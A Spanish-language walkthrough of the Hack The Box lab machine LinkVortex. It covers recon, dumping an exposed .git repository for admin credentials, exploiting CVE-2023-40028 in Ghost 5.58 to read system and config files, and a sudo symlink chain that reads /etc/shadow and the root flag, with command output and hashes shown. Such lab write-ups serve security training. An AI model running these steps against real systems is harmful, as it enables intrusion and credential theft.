LinkVortex
En esta ocasión vamos a hacer el writeup de la máquina LinVortex de Hack the Box, una máquina Linux de dificultad easy.
Última actualización
¿Te fue útil?
En esta ocasión vamos a hacer el writeup de la máquina LinVortex de Hack the Box, una máquina Linux de dificultad easy.
Última actualización
¿Te fue útil?
Añadimos la IP 10.10.11.47
a nuestro /etc/hosts
y accedemos través del navegador.
sudo echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts
Parece un blog sobre componentes de hardware. Solamente vemos 3 páginas a simple vista:
Home: Con enlaces a los posts
About: Texto hablando sobre la empresa
Páginas de post: puro contenido de texto
En el footer nos encontramos "Powered by Ghost" con un link a la siguiente web, lo que nos indica la tecnología sobre la que está construído:
Al parecer no encontramos nada que nos llame la atención, por lo que vamos a ver los puertos que tiene abiertos.
sudo nmap -v -A -sCV -T5 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos. Por el momento el puerto 80 es nuestro principal vector de entrada.
Al ejecutar whatweb contra la web encontramos un plugin Ghost 5.58
bastante interesante:
afsh4ck@kalki$ whatweb -v http://linkvortex.htb
WhatWeb report for http://linkvortex.htb
Status : 200 OK
Title : BitByBit Hardware
IP : 10.10.11.47
Country : RESERVED, ZZ
Summary : Apache, HTML5, HTTPServer[Apache], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], X-Powered-By[Express], X-UA-Compatible[IE=edge]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Apache (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.5.1
Website : http://jquery.com/
[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.
String : Ghost 5.58
Haciendo fuzzing con dirsearch no encontramos nada relevante y que podamos acceder:
dirsearch -u http://linkvortex.htb -x 300,301,302,400,403,404,503
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/kali/Escritorio/machines/htb/linkvortex/reports/http_linkvortex.htb/_24-12-09_13-37-44.txt
Target: http://linkvortex.htb/
[13:37:44] Starting:
[13:38:13] 301 - 63B - /.aspnet/DataProtection-Keys/ -> /.aspnet/dataprotection-keys/
[13:38:13] 301 - 45B - /.axoCover/ -> /.axocover/
[13:38:27] 301 - 57B - /.externalToolBuilders/ -> /.externaltoolbuilders/
[13:38:38] 301 - 40B - /.HTF/ -> /.htf/
[13:38:56] 301 - 47B - /.Rproj.user/ -> /.rproj.user/
[13:39:03] 301 - 53B - /.tools/phpMyAdmin/ -> /.tools/phpmyadmin/
[13:39:03] 301 - 61B - /.tools/phpMyAdmin/current/ -> /.tools/phpmyadmin/current/
[13:39:22] 301 - 49B - /_DynaCacheEsi/ -> /_dynacacheesi/
[13:39:26] 301 - 48B - /_LPHPMYADMIN/ -> /_lphpmyadmin/
En este punto parece que estamos en un Rabit Hole, por lo que vamos a probar a enumerar subdominios.
En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:
ffuf -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 274ms]
Bingo! Obtenemos el subdominio dev.linkvortex.htb
. Vamos a añadirlo a /etc/hosts
y entrar para ver su contenido.
Parece que la web está en construcción y no hay ningún link ni comentario en el código fuente. Vamos a volver a hacer fuzzing contra este subdominio a ver si encontramos algo interesante:
dirsearch -u http://dev.linkvortex.htb -x 404
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_dev.linkvortex.htb/_24-12-09_13-44-58.txt
Target: http://dev.linkvortex.htb/
[13:44:58] Starting:
[13:45:39] 200 - 175B - /.git/logs/HEAD
[13:45:39] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[13:45:40] 200 - 557B - /.git/
[13:45:40] 200 - 201B - /.git/config
[13:45:40] 200 - 73B - /.git/description
[13:45:40] 200 - 620B - /.git/hooks/
[13:45:40] 200 - 41B - /.git/HEAD
[13:45:40] 200 - 418B - /.git/objects/
[13:45:41] 200 - 240B - /.git/info/exclude
[13:45:41] 200 - 402B - /.git/info/
[13:45:41] 200 - 401B - /.git/logs/
[13:45:41] 200 - 691KB - /.git/index
[13:45:42] 200 - 147B - /.git/packed-refs
[13:45:42] 200 - 393B - /.git/refs/
[13:45:42] 301 - 249B - /.git/refs/tags -> http://dev.linkvortex.htb/.git/refs/tags/
Encontramos un directorio .git interesante, al cual podemos acceder a todos los archivos:
Para dumpear el contenido del repositorio .git
y extraer información relevante podemos utilizar git-dumper
, un script de Python diseñado para reconstruir un repositorio a partir de un directorio .git
.
python3 git_dumper.py http://dev.linkvortex.htb/.git/ ~/linkvortex
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
Esto nos descarga en local el repositorio para analizarlo mejor, dentro del directorio .git:
cd ~/linkvortex
Haciendo un poco de enumeración en el repo encontramos un archivo interesante: authentication.test.js
find . -iname '*authentication*'
./ghost/core/test/regression/api/admin/__snapshots__/authentication.test.js.snap
./ghost/core/test/regression/api/admin/authentication.test.js
./ghost/core/test/e2e-api/content/key_authentication.test.js
./ghost/core/test/e2e-api/admin/key-authentication.test.js
./ghost/core/core/server/api/endpoints/utils/serializers/output/authentication.js
./ghost/core/core/server/api/endpoints/authentication.js
./ghost/admin/mirage/config/authentication.js
./ghost/admin/tests/acceptance/authentication-test.js
Al leer este archivo nos encontramos unas credenciales que parecen de un usuario administrador:
cat ./ghost/core/test/regression/api/admin/authentication.test.js | grep pass
const password = 'OctopiFociPilfer45';
password,
await agent.loginAs(email, password);
password: 'thisissupersafe',
password: 'thisissupersafe',
const password = 'thisissupersafe';
password,
await cleanAgent.loginAs(email, password);
password: 'lel123456',
password: '12345678910',
password: '12345678910',
Tenemos 2 posibles credenciales:
const password = 'OctopiFociPilfer45';
const password = 'thisissupersafe';
Si accedemos al directorio /ghost llegamos a un panel de login donde podríamos probar a loguearnos:
Probamos las siguientes credenciales y accedemos sin problema:
admin@linkvortex.htb
OctopiFociPilfer45
Tenemos acceso de administrador al CMS. Ahora vamos a buscar la manera de explotar esto.
Buscando en internet encontramos un CVE asociado a la versión de Ghost 5.58:
En este script debemos editar la línea donde se referencia al host. El script también indica que ha sido probado contra una imagen de Ghost usando Docker:
#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER
#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'
Lo podemos ejecutar de la siguiente manera para extraer el contenido de cualquier archivo, como el /etc/passwd:
bash CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Solamente encontramos un usuario interesante:
node: Probablemente el usuario bajo el cual se ejecuta la aplicación Ghost, ya que Ghost está desarrollado en Node.js. El usuario node
es relevante porque podría tener acceso a los archivos de configuración y credenciales del sistema.
Volviendo a revisar el dump del repositorio git, nos encontramos el archivo Dockerfile.ghost
, que contiene un archivo de configuración interesante: config.production.json
:
cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Vamos a utilizar el script de nuevo para leer este archivo de configuración:
bash CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
file>
Buuuum! Obtenemos las credenciales del usuario bob:
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
Nos conectamos por SSH correctamente con estas credenciales y obtenemos la flag:
ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 10 23:22:14 2024 from 10.10.14.123
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt
ca0b467f296e8811f**************
Vamos a ver los permisos de ejecución que tenemos en la máquina:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Vamos a ver el script:
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Este escenario presenta una vulnerabilidad de escalada de privilegios debido al uso de un script que se ejecuta como sudo
sin requerir contraseña y que puede ser manipulado. Vamos a desglosar cómo explotar esta configuración para elevar privilegios:
Permisos de Ejecución con sudo
:
El usuario bob
puede ejecutar el script /opt/ghost/clean_symlink.sh
con permisos de superusuario (sudo
) sin contraseña.
El script acepta un argumento que debe ser un archivo con extensión .png
.
Vulnerabilidad en el Script:
La variable CHECK_CONTENT
se lee del entorno y se usa sin validación. Si se define como true
, el script ejecuta el comando /usr/bin/cat
en un archivo específico.
Existe un uso inseguro de $LINK
, que se pasa directamente a comandos como /usr/bin/mv
y /usr/bin/cat
, sin validación adicional.
Punto Crítico:
Puedes controlar la variable de entorno CHECK_CONTENT
y proporcionar un enlace simbólico (symlink
) malicioso que apunte a un archivo crítico del sistema, como /etc/shadow
.
Antes de ejecutar el script, establece la variable CHECK_CONTENT
como true
para habilitar la lectura del contenido del archivo objetivo:
export CHECK_CONTENT=true
Crea un enlace simbólico que apunte a un archivo crítico, por ejemplo, /etc/shadow
:
ln -s /etc/shadow fake.png
Ejecuta el script con sudo
, pasando el enlace simbólico como argumento:
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /etc/shadow fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !
bob@linkvortex:~$ ln -s /root/root.txt fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !
El script implementa una comprobación que evita la lectura de archivos críticos (como aquellos en /etc
o /root
) al detectar patrones específicos en la ruta del enlace simbólico. Esto limita directamente el acceso a archivos sensibles. Sin embargo, el comportamiento del script todavía deja una posible vulnerabilidad que puede ser explotada con un enfoque alternativo.
Usa una carpeta temporal para alojar el enlace simbólico que apuntará al archivo crítico.
mkdir /tmp/safe
ln -s /etc/shadow /tmp/safe/fake.png
Apunta el enlace simbólico principal al archivo dentro de la carpeta temporal:
ln -s /tmp/safe/fake.png fake.png
Paso 3: Ejecutar el Script
Ejecuta el script como antes, usando fake.png
:
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
Link found [ fake.png ] , moving it to quarantine
Content:
root:$y$j9T$C3zg87gHwrCXO0vl4igIh/$iisf9sVwilKAi7mI5p1FqQslJWM9t2.YUWznIPC/XIA:19814:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19814:0:99999:7:::
bob:$6$rounds=656000$4p3mw8hAd9ir.25f$ocGm9nW1TM2AB8Z.l0K.hi43bOrm3oxQsaKFACMoS2UL.tIXxSW3u/xsClrvkEhP5s.GUpdIvCX3qRtppDV8r.:19814:0:99999:7:::
dnsmasq:*:19814:0:99999:7:::
_laurel:!:20057::::::
Tenemos el /etc/shadow
, con lo que podemos acceder a cualquier archivo del sistema! En nuestro caso vamos a usarlo para obtener la flag en /root/root.txt
bob@linkvortex:~$ ln -s /root/root.txt pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
66fff895f2399f********************
Tenemos la root flag!